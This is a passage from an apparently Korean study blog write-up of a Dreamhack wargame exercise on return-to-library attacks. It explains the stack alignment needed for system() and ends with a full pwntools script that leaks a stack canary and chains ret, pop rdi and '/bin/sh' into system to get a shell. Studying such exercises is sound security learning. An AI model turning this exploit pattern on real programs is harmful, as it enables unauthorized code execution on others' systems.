์ด๋Š” system ํ•จ์ˆ˜ ๋‚ด๋ถ€์— ์žˆ๋Š” movaps ๋ช…๋ น์–ด ๋•Œ๋ฌธ์— ์Šคํƒ์ด 0x10๋‹จ์œ„๋กœ ์ •๋ ฌ๋˜์•ผ ์—๋Ÿฌ ์—†์ด ์‹คํ–‰ ๋˜์š”
 ์ฐธ๊ณ ๋กœ system ํ•จ์ˆ˜(SetUID์˜ ํ•จ์ˆ˜..?)์ด๋‹ˆ๊นŒ NX๋ฅผ ์šฐํšŒ ํ•  ์ˆ˜ ์žˆ๋Š”๊ฑฐ์˜ˆ์š”

 

๊ทธ๋Ÿผ ๋Œ€์ฒด ์ €๊ฑธ ์•Œ์•„์„œ ์–ด๋””๋‹ค๊ฐ€ ์“ฐ๋ƒ.. ์•„๋ฌด๋ž˜๋„ ์šฐ๋ฆฐ system ํ•จ์ˆ˜์˜ ์ธ์ž๋ถ€๋ถ„์„ ๊ฑด๋“ค์–ด์„œ ๋„ฃ๋Š”๋‹ค๋ณด๋‹ˆ๊นŒ
์Šคํƒ์— ์–ด๋–ค ๊ฐ’์„ ์–ผ๋งˆ๋‚˜ ๋„ฃ๊ณ  ์•ˆ๋„ฃ๊ณ ๋Š” ์ค‘์š”ํ•˜์ง€ ์•Š๊ณ  rsp๋ ˆ์ง€์Šคํ„ฐ์˜ ๊ฐ’์„ ๋ฐ”๊ฟ”์ฃผ๋Š”๊ฒŒ ์ค‘์š”ํ•œ๋ฐ์š”.
ret์€ pop rip; jmp rip์™€ ๊ฐ™์€ ์—ญํ• ์ž…๋‹ˆ๋‹ค. ๊ทธ๋ž˜์„œ 0x8๋งŒํผ ์ฆ๊ฐ€๋˜๋‹ˆ๊นŒ..

๊ฒฐ๊ตญ ์Šคํƒ์ด ์ •๋ ฌ๋˜์–ด์•ผ ํ•œ๋‹ค๋Š” ๋œป์ด rsp๋ ˆ์ง€์Šคํ„ฐ์˜ ๊ฐ’์ด 0x10์˜ ๋ฐฐ์ˆ˜๋กœ ์ •๋ ฌ๋˜์–ด์•ผ ํ•œ๋‹ค๋Š” ๋œป

 

๊ทธ๋Ÿฌ๋ฏ€๋กœ system ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•œ exploit์„ ์ž‘์„ฑ ์‹œ, ์ž˜ ์ž‘์„ฑํ•ด๋„ Segmentation Fault ๋ฐœ์ƒ ์‹œ
system ํ•จ์ˆ˜์˜ ๊ฐ€์ ฏ์„ 8byte ๋’ค๋กœ ๋ฏธ๋ค„๋ณด๋Š” ๊ฒƒ๋„ ์ข‹์•„์š” ์ด๋ฅผ ์œ„ํ•ด no-op gadget์„ ๋„ฃ์–ด๋ณด๋Š” ๊ฒƒ!

 

๋ฐ‘์— ๋งํฌ๋Š” ๋ญ ๋ฌธ์ œํ•ด๊ฒฐ์— ํฐ ๋„์›€์ด ๋  ๊ฑฐ ๊ฐ™์ง„ ์•Š์ง€๋งŒ(์ „ ์–ด์งœํ”ผ ๋‹ต๋ณด๋ฉด์„œ ๋ถ„์„ํ•ด์„œ..)
์œ„์— ํ•ด์„์— ์žˆ์–ด์„œ ๋„์›€์ด ๋˜์–ด ์˜ฌ๋ ค๋ณด์•˜์Šต๋‹ˆ๋‹ค.

 

0x10 ์ •๋ ฌ ๊ด€๋ จ ์งˆ๋ฌธ์ด ์žˆ์Šต๋‹ˆ๋‹ค!

0x10 ์˜ ๋ฐฐ์ˆ˜๋งŒํผ ์Šคํƒ์„ ์ •๋ ฌํ•ด์ค˜์•ผ ์˜ค๋ฅ˜๋ฅผ ๋ฉดํ•  ์ˆ˜ ์žˆ๋‹ค๊ณ  ํ•˜์—ฌ ์•„๋ฌด ์˜๋ฏธ ์—†๋Š” ๋ฐ”์ดํŠธ๋ฅผ ์ถ”๊ฐ€ํ•˜๊ธฐ ์œ„ํ•ด \x90๊ณผ ๊ฐ™์€ NOP ๋ฐ”์ดํŠธ๋ฅผ ๋”๋ฏธ๋กœ ์ถ”๊ฐ€ํ•ด๋ณด์•˜์Šต๋‹ˆ๋‹ค. ๊ทธ๋ ‡์ง€๋งŒ \x9…

dreamhack.io

์ต์Šคํ”Œ๋กœ์ž‡ ์ฝ”๋“œ๋Š” ์œ„์— ํ•™์Šตํ•œ ๋‚ด์šฉ ๊ทธ๋Œ€๋กœ ํ–ˆ๋Š”๋ฐ...
๋” ์ž์„ธํžˆ ๋” ์ •ํ™•ํ•˜๊ฒŒ.. ๋‚˜์ค‘์— ํ•  ๋ฌธ์ œ์—์„œ ์ง‘์–ด์„œ ํ• ๊ป˜์š” ใ… 

#/!/usr/python3
from pwn import *
 
#p = process('./rtl')
p = remote('host2.dreamhack.games', 16030)
context(arch='amd64', os='linux')
context.log_level = 'debug'
e = ELF('./rtl')
 
#gdb disassemble runtime excute & checking
#gdb.attach('./rtl')
 
def slog(name, addr): return success(':'.join([str(name), hex(addr)]))
 
#[1] Leak canary
buf = b'A' * 0x39
cnry = ''
 
p.sendafter('Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00'+p.recvn(7))
slog('Address Canary', cnry)
 
# [2] exploit
system_plt = e.plt['system']
binsh = 0x400874
pop_rdi = 0x400853
ret = 0x400285
 
#payload
payload = b'A'*0x38 + p64(cnry) + b'B'*0x8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)
 
#pause()
p.sendafter("Buf: ", payload)
 
p.interactive()

๋งˆ๋ฌด๋ฆฌ

NX๋ฅผ ์šฐํšŒํ•˜๋Š” RTL ๊ณต๊ฒฉ ๊ธฐ๋ฒ•์— ๋Œ€ํ•˜์—ฌ ์•Œ์•„๋ณด์•˜์Šต๋‹ˆ๋‹ค.
RTL ๊ณต๊ฒฉ ๊ธฐ๋ฒ• ์ดํ›„ chaining RTL, ๊ทธ๋ฆฌ๊ณ  Return Oriented Programming(ROP)๋กœ ๋ฐœ์ „๋จ
์—ฌ๊ธฐ์„œ ํ•ต์‹ฌ์€ ๋ฆฌํ„ด ๊ฐ€์ ฏ์ด๊ฒ ์ฃ  ์—ฌ๊ธฐ์„  ์ต์Šคํ”Œ๋กœ์ž‡์— ๋ฐ”์ด๋„ˆ๋ฆฌ์˜ ๊ฐ€์ ฏ๋งŒ ์‚ฌ์šฉํ–ˆ์œผ๋‚˜,
libc์˜ ๋ฒ ์ด์Šค ์ฃผ์†Œ๋ฅผ ์•ˆ๋‹ค๋ฉด libc์˜ ๊ฐ€์ ฏ๋“ค๋„๋งˆ์ฐฌ๊ฐ€์ง€์˜ ๋ฐฉ๋ฒ•์œผ๋กœ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์–ด,

 

lib์—” ๋งค์šฐ ๋งŽ์€ ๊ฐ€์ ฏ์ด ํฌํ•จ๋˜์–ด ์žˆ์œผ๋‹ˆ ํ™œ์šฉํ•˜๋ฉด
์–ด์…ˆ๋ธ”๋ฆฌ์–ด๋กœ ํ”„๋กœ๊ทธ๋ž˜๋ฐํ•˜๋Š” ๊ฒƒ๊ณผ ์œ ์‚ฌํ•œ ํšจ๊ณผ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๊ฒ ์ฃ 

 

๊ทธ๋ž˜์„œ ์ด๋ฆ„ ๋ถ™์—ฌ์ง„ ๊ฒƒ์ด Return Oriented Programming(ROP)!!


์ฐธ๊ณ  ์ž๋ฃŒ

 

Exploit Tech: Return to Library

์ด๋ฒˆ ์ฝ”์Šค์—์„œ๋Š” ์นด๋‚˜๋ฆฌ๋ฅผ ์šฐํšŒํ•˜๊ณ , ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์˜ ์ฝ”๋“œ๋ฅผ ์ด์šฉํ•˜๋Š” ๊ณต๊ฒฉ ๊ธฐ๋ฒ•์„ ์‹ค์Šตํ•ฉ๋‹ˆ๋‹ค.

dreamhack.io

๋”๋ณด๊ธฐ

 

 

Return to Library

Description Exploit Tech: Return to Library์—์„œ ์‹ค์Šตํ•˜๋Š” ๋ฌธ์ œ์ž…๋‹ˆ๋‹ค.

dreamhack.io

 

 

0x10 ์ •๋ ฌ ๊ด€๋ จ ์งˆ๋ฌธ์ด ์žˆ์Šต๋‹ˆ๋‹ค!

0x10 ์˜ ๋ฐฐ์ˆ˜๋งŒํผ ์Šคํƒ์„ ์ •๋ ฌํ•ด์ค˜์•ผ ์˜ค๋ฅ˜๋ฅผ ๋ฉดํ•  ์ˆ˜ ์žˆ๋‹ค๊ณ  ํ•˜์—ฌ ์•„๋ฌด ์˜๋ฏธ ์—†๋Š” ๋ฐ”์ดํŠธ๋ฅผ ์ถ”๊ฐ€ํ•˜๊ธฐ ์œ„ํ•ด \x90๊ณผ ๊ฐ™์€ NOP ๋ฐ”์ดํŠธ๋ฅผ ๋”๋ฏธ๋กœ ์ถ”๊ฐ€ํ•ด๋ณด์•˜์Šต๋‹ˆ๋‹ค. ๊ทธ๋ ‡์ง€๋งŒ \x9…

dreamhack.io

 

 

์ด ์ต์Šคํ”Œ๋กœ์ž‡์—์„œ ๊ฐ€์ ฏ ์œ„์— ์ถ”๊ฐ€๋œ ret ๊ฐ€ ๊ถ๊ธˆํ•ฉ๋‹ˆ๋‹ค.

22๋ฒˆ ์ค„๊ณผ 25๋ฒˆ ์ค„ ์ฝ”๋“œ์™€ ํ•จ๊ป˜ # align stack to prevent errors caused by movaps๋ผ๋Š” ์ฃผ์„์ด ํ‘œ์‹œ๋˜์—ˆ๋Š”๋ฐ, ์™œ ์ด ์ฝ”๋“œ๊ฐ€ ์‚ฌ์šฉ๋˜๋Š” ์ด์œ ๋ฅผ…

dreamhack.io

 

 

buf์˜ ํฌ๊ธฐ๊ฐ€ 0x30์ธ๋ฐ ์ต์Šคํ”Œ๋กœ์ž‡ ์ฝ”๋“œ์— buf๊ณต๊ฐ„์„ ์ฑ„์šธ๋•Œ 0x38๋งŒํผ ์ฑ„์šฐ๋Š” ์ด์œ ๊ฐ€ ๊ถ๊ธˆํ•ฉ๋‹ˆ๋‹ค.

์ตœ์ข… ์ต์Šคํ”Œ๋กœ์ž‡ ์ฝ”๋“œ๋ฅผ ๋ณด๋ฉด buf๊ณต๊ฐ„์„ ์ฑ„์šฐ๊ธฐ ์œ„ํ•ด b'A'๊ฐ™์€ ๋ฌธ์ž๋ฅผ 0x38๊ฐœ ๋งŒํผ ๋„ฃ์Šต๋‹ˆ๋‹ค. ๊ทผ๋ฐ ์†Œ์Šค์ฝ”๋“œ์— ์žˆ๋Š” buf์˜ ํฌ๊ธฐ๋Š” ๋ถ„๋ช… 0x30์ธ๋ฐ ๋ง์ด์ฃ . ๋ถ„๋ช… ์˜ˆ์ „์— ์ด…

dreamhack.io

 

์ฐธ๊ณ  ์ด๋ฏธ์ง€